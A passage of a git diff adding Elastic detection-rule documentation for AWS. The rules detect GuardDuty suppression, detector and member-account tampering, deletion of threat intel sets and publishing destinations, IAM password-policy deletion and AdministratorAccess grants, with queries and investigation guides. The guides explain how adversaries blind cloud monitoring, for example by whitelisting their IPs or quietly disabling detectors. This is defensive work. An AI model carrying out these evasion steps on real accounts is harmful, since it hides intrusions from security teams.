https://docs.aws.amazon.com/guardduty/latest/APIReference/API_UpdateDetector.html +* https://github.com/RhinoSecurityLabs/pacu/tree/master/pacu/modules/guardduty__whitelist_ip + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS GuardDuty +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Fast +* Rule Type: Custom Query (KQL) +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS GuardDuty + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS GuardDuty Detection Suppression* + + +Amazon GuardDuty relies on its detector configuration, trusted IP list, and threat intelligence feeds to decide which +activity generates findings. An adversary who cannot (or does not want to) delete the detector outright can instead +blind it in place: + +- **`CreateIPSet`/`UpdateIPSet`** (activated): traffic from any address in the list is treated as trusted and will + not generate findings, even if it originates from the adversary's own infrastructure. +- **`CreateThreatIntelSet`/`UpdateThreatIntelSet`** (activated): replaces or extends the indicators GuardDuty uses to + flag known-malicious activity; an adversary who controls this feed controls what GuardDuty considers malicious. +- **`UpdateDetector`** with `Enable: false`: disables the detector without deleting it, leaving its configuration and + historical findings intact while stopping all new analysis — quieter than `DeleteDetector`, which has its own + dedicated detection. + + +*Possible investigation steps* + + +- **Identify the actor**: review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.type` to + determine who made the change, and whether this principal normally performs GuardDuty administration. +- **Inspect the change**: from `aws.cloudtrail.request_parameters`, confirm which action occurred and its target + (`detectorId`, IP set `location`/`name`, or the `enable` flag for `UpdateDetector`). +- **Assess scope**: for IP sets, resolve the listed CIDR ranges/addresses — do they belong to the adversary's known + infrastructure rather than legitimate corporate ranges? For threat intel sets, review the referenced feed location. +- **Correlate with other defense evasion activity**: look for `DeleteDetector`, `StopMonitoringMembers`, + `DisassociateMembers`, CloudTrail suspension, or IAM privilege changes around the same time by the same actor. +- **Review source context**: check `source.ip`, `user_agent.original`, and `source.geo` for anomalous access. + + +*False positive analysis* + + +- Legitimate security engineering changes (adding a new VPN range to the trusted IP list, rotating a threat intel + feed URL) will show the same API calls. Confirm with the GuardDuty/security engineering team and check change + tickets or IaC pipelines before treating as malicious. + + +*Response and remediation* + + +- If unauthorized, remove or deactivate the rogue IP set/threat intel set, and re-enable the detector if it was + disabled (`UpdateDetector` with `Enable: true`). +- Review all findings generated (or suppressed) during the window the detector or IP set was compromised. +- Restrict `guardduty:CreateIPSet`, `guardduty:UpdateIPSet`, `guardduty:CreateThreatIntelSet`, + `guardduty:UpdateThreatIntelSet`, and `guardduty:UpdateDetector` to a limited administrative role, and alert on any + use outside change-managed windows. + + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "guardduty.amazonaws.com" + and event.outcome: "success" + and ( + (event.action: ("CreateIPSet" or "UpdateIPSet" or "CreateThreatIntelSet" or "UpdateThreatIntelSet") + and aws.cloudtrail.flattened.request_parameters.activate: (true or "true")) + or + (event.action: "UpdateDetector" and aws.cloudtrail.flattened.request_parameters.enable: (false or "false")) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-guardduty-detector-deletion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-guardduty-detector-deletion.asciidoc new file mode 100644 index 0000000000..fff2dbbedb --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-guardduty-detector-deletion.asciidoc @@ -0,0 +1,154 @@ +[[prebuilt-rule-8-19-34-aws-guardduty-detector-deletion]] +=== AWS GuardDuty Detector Deletion + +Detects the deletion of an Amazon GuardDuty detector. GuardDuty provides continuous monitoring for malicious or unauthorized activity across AWS accounts. Deleting the detector disables this visibility, stopping all threat detection and removing existing findings. Adversaries may delete GuardDuty detectors to impair security monitoring and evade detection during or after an intrusion. This rule identifies successful "DeleteDetector" API calls and can indicate a deliberate defense evasion attempt. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/guardduty/latest/APIReference/API_DeleteDetector.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS GuardDuty +* Tactic: Defense Evasion +* Rule Type: Custom Query (KQL) +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal + +*Version*: 214 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS GuardDuty Detector Deletion* + + +Amazon GuardDuty is a continuous threat detection service that analyzes CloudTrail, DNS, and VPC Flow Logs to identify malicious activity and compromised resources. Deleting a GuardDuty detector stops this monitoring entirely and permanently removes all historical findings for the affected AWS account. This rule detects successful `DeleteDetector` API calls, which may represent an attacker attempting to impair defenses and evade detection. Such actions should be rare and always performed under controlled administrative change processes. + + +*Possible investigation steps* + + +- **Identify the actor** + - Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.type` to determine who initiated the deletion. + - Verify whether this principal normally performs GuardDuty configuration or administrative tasks. + +- **Review request context** + - Check `aws.cloudtrail.request_parameters` and `cloud.region` to confirm the targeted GuardDuty detector and scope of impact. + - Determine whether multiple detectors or member accounts were affected (especially in delegated admin organizations). + +- **Analyze source and access patterns** + - Review `source.ip`, `user_agent.original` and `source.geo` fields for anomalous or previously unseen access locations or automation clients. + - Check whether the deletion occurred outside standard maintenance windows or during a concurrent suspicious activity window. + +- **Correlate with preceding or related activity** + - Search for earlier GuardDuty configuration changes: + - `StopMonitoringMembers`, `DisassociateMembers`, or `DeleteMembers` + - IAM role or policy modifications reducing GuardDuty privileges + - Look for other defense evasion indicators such as CloudTrail suspension, Security Hub configuration changes, or disabling of AWS Config rules. + +- **Review historical GuardDuty findings** + - Examine prior GuardDuty alerts and findings (if still retrievable) to determine whether the deletion followed significant detection activity. + - Use centralized logs or security data lakes to recover findings removed from the console. + + +*False positive analysis* + + +- **Authorized administrative actions** + - Verify whether the deletion corresponds to legitimate account decommissioning, region cleanup, or migration activity. +- **Automation or IaC** + - GuardDuty may be disabled temporarily during infrastructure provisioning or teardown in automated environments. + Confirm via CI/CD logs or Infrastructure-as-Code templates. +- **Organizational configuration changes** + - Large organizations might consolidate GuardDuty under a delegated administrator account, causing detectors to be deleted in member accounts. + Validate these actions against security architecture changes. + + +*Response and remediation* + + +- **Containment and restoration** + - If unauthorized, immediately re-enable GuardDuty in the affected account and region using the `CreateDetector` API or AWS console. + - Verify that findings aggregation and member account associations are restored to expected configurations. + +- **Investigation** + - Review CloudTrail for related privilege escalation or resource tampering events around the deletion time. + - Assess whether any attacker activity occurred during the monitoring gap between deletion and restoration. + +- **Recovery and hardening** + - Restrict `guardduty:DeleteDetector` permissions to a limited administrative role. + - Implement AWS Config rules or Security Hub controls to alert on changes to GuardDuty detectors or configuration states. + - Enforce least privilege IAM policies, ensuring operational automation cannot disable GuardDuty outside maintenance workflows. + - Document approved GuardDuty maintenance activities and correlate them with change tickets for traceability. + + +*Additional information* + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: aws.cloudtrail + and event.provider: guardduty.amazonaws.com + and event.action: DeleteDetector + and event.outcome: success + and not user_agent.original: (*Terraform* or *Pulumi*) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-guardduty-member-account-manipulation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-guardduty-member-account-manipulation.asciidoc new file mode 100644 index 0000000000..10ec33038b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-guardduty-member-account-manipulation.asciidoc @@ -0,0 +1,170 @@ +[[prebuilt-rule-8-19-34-aws-guardduty-member-account-manipulation]] +=== AWS GuardDuty Member Account Manipulation + +Detects attempts to disassociate or manipulate Amazon GuardDuty member accounts within an AWS organization. In multi-account GuardDuty deployments, a delegated administrator account aggregates findings from member accounts. Adversaries may attempt to disassociate member accounts, delete member relationships, stop monitoring members, or delete pending invitations to break this centralized visibility. These actions can be precursors to or alternatives for deleting GuardDuty detectors entirely, allowing attackers to operate undetected in member accounts while the administrator account loses visibility. This rule identifies successful API calls that manipulate GuardDuty member relationships, which are rare in normal operations and warrant immediate investigation. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/guardduty/latest/APIReference/API_DisassociateFromAdministratorAccount.html +* https://docs.aws.amazon.com/guardduty/latest/APIReference/API_DeleteMembers.html +* https://docs.aws.amazon.com/guardduty/latest/APIReference/API_StopMonitoringMembers.html +* https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_accounts.html +* https://permiso.io/blog/lucr-3-scattered-spider-getting-saas-y-in-the-cloud + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS GuardDuty +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Profile: Recommended +* Rule Type: Custom Query (KQL) +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS GuardDuty + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS GuardDuty Member Account Manipulation* + + +In AWS Organizations with GuardDuty enabled, a delegated administrator account receives and aggregates security findings from all member accounts. This centralized visibility is critical for detecting threats across the organization. Adversaries who compromise a member account may attempt to break this relationship to operate without triggering alerts visible to the security team. + +This rule detects several API actions that manipulate GuardDuty member relationships: +- `DisassociateFromMasterAccount` / `DisassociateFromAdministratorAccount`: Member account breaks its connection to the administrator +- `DeleteMembers`: Administrator removes member accounts from GuardDuty +- `StopMonitoringMembers`: Administrator stops monitoring specific member accounts without fully removing them +- `DeleteInvitations`: Member account deletes pending invitations, preventing association + +These actions are extremely rare in normal operations and can indicate either a compromised account or an attacker preparing to disable GuardDuty entirely. + + +*Possible investigation steps* + + +- **Identify the actor** + - Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.type` to determine who performed the action. + - Determine whether the action originated from a member account (disassociation) or the administrator account (deletion/stop monitoring). + +- **Review request context** + - Check `aws.cloudtrail.request_parameters` to identify which member accounts were affected. + - Determine the scope: single account or multiple accounts targeted. + +- **Analyze source and access patterns** + - Review `source.ip` and `user_agent.original` for anomalous access patterns. + - Check if the action occurred outside normal business hours or maintenance windows. + +- **Correlate with related activity** + - Search for subsequent `DeleteDetector` API calls in the affected member accounts. + - Look for other defense evasion indicators: CloudTrail modifications, Config rule deletions, Security Hub changes. + - Check for privilege escalation or credential access events preceding this action. + +- **Verify business justification** + - Confirm with the identified user or team whether there was a legitimate organizational change. + - Check for related change tickets or migration documentation. + + +*False positive analysis* + + +- **Organizational restructuring** + - Member relationships may change during account migrations or delegated administrator transitions. + - Validate against documented organizational changes. + +- **Account decommissioning** + - Accounts being retired may be removed from GuardDuty before closure. + - Confirm this aligns with account lifecycle management processes. + + +*Response and remediation* + + +- **Immediate containment** + - If unauthorized, immediately re-associate the affected member accounts with the administrator. + - For `StopMonitoringMembers`, use `StartMonitoringMembers` to restore visibility. + +- **Investigation** + - Audit the affected member accounts for suspicious activity during the visibility gap. + - Review CloudTrail for any actions taken while GuardDuty monitoring was disrupted. + +- **Hardening** + - Restrict `guardduty:DisassociateFromAdministratorAccount`, `guardduty:DeleteMembers`, and related permissions. + - Use SCPs to prevent member accounts from disassociating from GuardDuty administrators. + - Implement Security Hub controls to detect changes to GuardDuty organization configuration. + + +*Additional information* + +- **https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_accounts.html[AWS GuardDuty Multi-Account Documentation]** +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "guardduty.amazonaws.com" + and event.action: ( + "DisassociateFromAdministratorAccount" or + "DeleteMembers" or + "StopMonitoringMembers" or + "DeleteInvitations" or + "DisassociateMembers" + ) + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-guardduty-publishing-destination-deleted.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-guardduty-publishing-destination-deleted.asciidoc new file mode 100644 index 0000000000..bc6eb4821f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-guardduty-publishing-destination-deleted.asciidoc @@ -0,0 +1,113 @@ +[[prebuilt-rule-8-19-34-aws-guardduty-publishing-destination-deleted]] +=== AWS GuardDuty Publishing Destination Deleted + +Detects the deletion of an Amazon GuardDuty publishing destination. Publishing destinations export GuardDuty findings to S3, Security Lake, or EventBridge for long-term retention and SIEM ingestion. An adversary with GuardDuty administrative access may delete a publishing destination to prevent findings from reaching external storage or a security operations center, reducing the visibility of their activity while leaving the GuardDuty detector active. + +*Rule type*: query + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/guardduty/latest/APIReference/API_DeletePublishingDestination.html +* https://hackingthe.cloud/aws/avoiding-detection/modify-guardduty-config/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS GuardDuty +* Rule Type: Custom Query (KQL) +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS GuardDuty Publishing Destination Deleted* + + +Amazon GuardDuty publishing destinations export threat findings to S3 buckets, Amazon Security Lake, or EventBridge buses for retention and downstream SIEM ingestion. Deleting a publishing destination severs this pipeline: findings still appear in the GuardDuty console but are no longer exported, making it harder for security operations to correlate GuardDuty alerts with other event sources. + +This action is uncommon in production environments. Legitimate deletions occur during planned migrations to a new destination or when decommissioning GuardDuty in an account. + + +*Possible investigation steps* + + +- Identify the caller from `aws.cloudtrail.user_identity.arn` and `user.name`. Verify this identity has a documented reason to modify GuardDuty configuration. +- Check `aws.cloudtrail.request_parameters` for the destination ID and detector ID. Query GuardDuty to confirm whether any publishing destination remains configured. +- Review CloudTrail for other GuardDuty control-plane actions by the same identity in the surrounding time window: `DeleteDetector`, `UpdateDetector`, `CreateFilter`, `CreateIPSet`. +- Determine whether a replacement destination was configured before or after the deletion. +- Correlate with IAM changes that may have granted GuardDuty administrative access to the calling identity. + + +*Response and remediation* + + +- If unauthorized, immediately re-create the publishing destination to restore findings export. +- Rotate credentials for the calling identity and review all actions taken by those credentials. +- Apply an SCP or IAM policy restricting `guardduty:DeletePublishingDestination` to a dedicated security operations role. +- Review GuardDuty member account configurations to confirm the action was not replicated across multiple accounts. + + +==== Setup + + +The AWS integration must be ingesting management events into `logs-aws.cloudtrail-*`. GuardDuty management events are logged by default. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "guardduty.amazonaws.com" + and event.action: "DeletePublishingDestination" + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-guardduty-threat-intelligence-set-deleted.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-guardduty-threat-intelligence-set-deleted.asciidoc new file mode 100644 index 0000000000..89bba9e64a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-guardduty-threat-intelligence-set-deleted.asciidoc @@ -0,0 +1,112 @@ +[[prebuilt-rule-8-19-34-aws-guardduty-threat-intelligence-set-deleted]] +=== AWS GuardDuty Threat Intelligence Set Deleted + +Detects the deletion of an Amazon GuardDuty threat intelligence set. Threat intelligence sets are custom lists of known-malicious IP addresses or domains that GuardDuty uses to generate findings when monitored resources communicate with those indicators. Deleting a threat intel set degrades GuardDuty's detection capability for known adversary infrastructure, allowing communication with threat-actor-controlled IP ranges to go undetected. + +*Rule type*: query + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/guardduty/latest/APIReference/API_DeleteThreatIntelSet.html +* https://hackingthe.cloud/aws/avoiding-detection/modify-guardduty-config/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS GuardDuty +* Rule Type: Custom Query (KQL) +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS GuardDuty Threat Intelligence Set Deleted* + + +GuardDuty threat intelligence sets allow security teams to upload custom lists of known-malicious IP addresses and domains. GuardDuty generates high-priority findings when monitored resources contact addresses in these sets. Deleting a threat intel set reduces GuardDuty's ability to detect communication with known adversary infrastructure. + +Legitimate deletions occur during feed rotation (replacing an old set with an updated version) or when decommissioning a threat intel feed. Both operations should be planned and documented. + + +*Possible investigation steps* + + +- Identify the caller from `aws.cloudtrail.user_identity.arn` and `user.name`. +- Check `aws.cloudtrail.request_parameters` for the threat intel set ID and detector ID. Determine whether any threat intel sets remain active in the detector. +- Review CloudTrail for adjacent GuardDuty control-plane modifications: `CreateThreatIntelSet`, `UpdateThreatIntelSet`, `CreateIPSet`, `UpdateIPSet`, `DeleteDetector`, `CreateFilter`. +- Determine whether a replacement threat intel set was created before or after the deletion. +- Correlate with other defense-evasion indicators such as GuardDuty detector updates or suppression rule creation. + + +*Response and remediation* + + +- Re-create or restore the threat intelligence set if the deletion was unauthorized. +- Rotate credentials for the calling identity and review all actions taken by those credentials. +- Apply an SCP or IAM policy restricting `guardduty:DeleteThreatIntelSet` to a dedicated security operations role. + + +==== Setup + + +The AWS integration must be ingesting management events into `logs-aws.cloudtrail-*`. GuardDuty management events are logged by default. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "guardduty.amazonaws.com" + and event.action: "DeleteThreatIntelSet" + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-iam-account-password-policy-deleted.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-iam-account-password-policy-deleted.asciidoc new file mode 100644 index 0000000000..277b0dc526 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-iam-account-password-policy-deleted.asciidoc @@ -0,0 +1,116 @@ +[[prebuilt-rule-8-19-34-aws-iam-account-password-policy-deleted]] +=== AWS IAM Account Password Policy Deleted + +Identifies deletion of the AWS account password policy via DeleteAccountPasswordPolicy. The account password policy enforces minimum password requirements (length, complexity, rotation, and reuse) for all IAM users in the account. Deleting it removes those requirements account-wide, weakening authentication and easing follow-on credential-based attacks. This is an account-level change that legitimately occurs only during deliberate administration, so its deletion by an unexpected principal warrants review. + +*Rule type*: query + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_passwords_account-policy.html +* https://docs.aws.amazon.com/IAM/latest/APIReference/API_DeleteAccountPasswordPolicy.html + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS IAM +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Fast +* Rule Type: Custom Query (KQL) +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS IAM + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS IAM Account Password Policy Deleted* + + +The account password policy is an account-wide control that sets minimum password length, character complexity, maximum age, and reuse-prevention for all IAM users. `DeleteAccountPasswordPolicy` removes it entirely, reverting the account to no enforced password requirements — which weakens authentication and can facilitate credential attacks or mask weak credentials created later. Because this is a single, account-level, high-impact change, it should be deliberate and rare. + + +*Possible investigation steps* + + +- Identify the actor in `aws.cloudtrail.user_identity.arn`, `aws.cloudtrail.user_identity.type`, and `aws.cloudtrail.user_identity.session_context.session_issuer.arn`, and review `source.ip` / `user_agent.original`. +- Determine whether a replacement policy was set shortly after (`UpdateAccountPasswordPolicy`) or whether the account was left with no policy. +- Confirm whether the change aligns with an approved governance change. +- Correlate with recent activity by the same principal, such as creation of IAM users or login profiles, or other defense-evasion actions (CloudTrail/logging changes) that may indicate a broader effort to weaken controls. + + +*False positive analysis* + + +- Approved governance or infrastructure-as-code may delete/replace the policy. Confirm the change is expected and exclude known administration roles or automation on `aws.cloudtrail.user_identity.arn` after validation. +- Note: AWS GuardDuty also surfaces account password policy changes via `Stealth:IAMUser/PasswordPolicyChange`; correlate if GuardDuty is enabled. + + +*Response and remediation* + + +- If the deletion is unauthorized, restore an appropriate account password policy (`UpdateAccountPasswordPolicy`) that meets your organization's standards, and review any IAM users or login profiles created while no policy was enforced. +- Rotate or restrict credentials for the principal if compromise is suspected, and constrain `iam:DeleteAccountPasswordPolicy` and `iam:UpdateAccountPasswordPolicy` to a small set of trusted administrators. + + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "iam.amazonaws.com" + and event.action: "DeleteAccountPasswordPolicy" + and event.outcome: "success" + and not aws.cloudtrail.user_identity.type: "AWSService" + and not user_agent.original: (*terraform* or *pulumi* or *ansible*) + and not aws.cloudtrail.user_identity.arn: (*terraform* or *pulumi* or *ansible*) + and not source.address: ("cloudformation.amazonaws.com" or "servicecatalog.amazonaws.com") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-iam-administratoraccess-policy-attached-to-group.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-iam-administratoraccess-policy-attached-to-group.asciidoc new file mode 100644 index 0000000000..3a8c0db99a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-iam-administratoraccess-policy-attached-to-group.asciidoc @@ -0,0 +1,174 @@ +[[prebuilt-rule-8-19-34-aws-iam-administratoraccess-policy-attached-to-group]] +=== AWS IAM AdministratorAccess Policy Attached to Group + +An adversary with access to a set of compromised credentials may attempt to persist or escalate privileges by attaching additional permissions to user groups the compromised user account belongs to. This rule looks for use of the IAM AttachGroupPolicy API operation to attach the highly permissive AdministratorAccess AWS managed policy to an existing IAM user group. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/IAM/latest/APIReference/API_AttachGroupPolicy.html +* https://docs.aws.amazon.com/aws-managed-policy/latest/reference/AdministratorAccess.html +* https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS IAM +* Use Case: Identity and Access Audit +* Tactic: Privilege Escalation +* Tactic: Persistence +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS IAM + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS IAM AdministratorAccess Policy Attached to Group* + + +The AWS-managed `AdministratorAccess` policy grants full administrative privileges across all AWS services. +When attached to a group, all group members inherit this access, often unintentionally broadening the blast radius of a compromise. +Adversaries can exploit `iam:AttachGroupPolicy` permissions to escalate privileges or establish persistence by attaching this policy to an existing user group. + + +*Possible investigation steps* + + +- **Identify the affected group and calling principal.** + Review `aws.cloudtrail.user_identity.arn` (caller) and `aws.cloudtrail.request_parameters.groupName` (target group). + Validate whether this aligns with legitimate change management or automation workflows. + +- **Review group membership.** + Enumerate current members using `aws iam get-group`. + Determine whether unauthorized users could have gained administrative access as a result. + +- **Inspect CloudTrail details.** + Check `source.ip`, `user_agent.original`, and `source.geo` fields for anomalies. + Compare with historical operations by the same principal. + +- **Correlate related IAM activity.** + Search for adjacent events such as `AddUserToGroup`, `CreateUser`, or `AttachUserPolicy`. + These may indicate chained privilege escalation. + +- **Assess propagation of privileges.** + If the group has many members or is linked to cross-account roles, the impact may extend beyond a single user. + Document all affected identities for containment. + + +*False positive analysis* + + +- **Intentional access updates.** + Policy attachment may occur during legitimate administrative provisioning. Confirm via ticketing systems. +- **Automation or compliance tasks.** + Some environments use centralized scripts to attach AdministratorAccess temporarily. Validate through automation logs. + + +*Response and remediation* + + +**Immediate containment** +- Detach the policy from the affected group (`aws iam detach-group-policy`). +- Review and limit group membership. Temporarily remove non-essential users or disable access for impacted accounts. +- Rotate credentials for users who inherited admin privileges from the attachment. +- Enable MFA on all impacted accounts. + +**Evidence preservation** +- Export the triggering 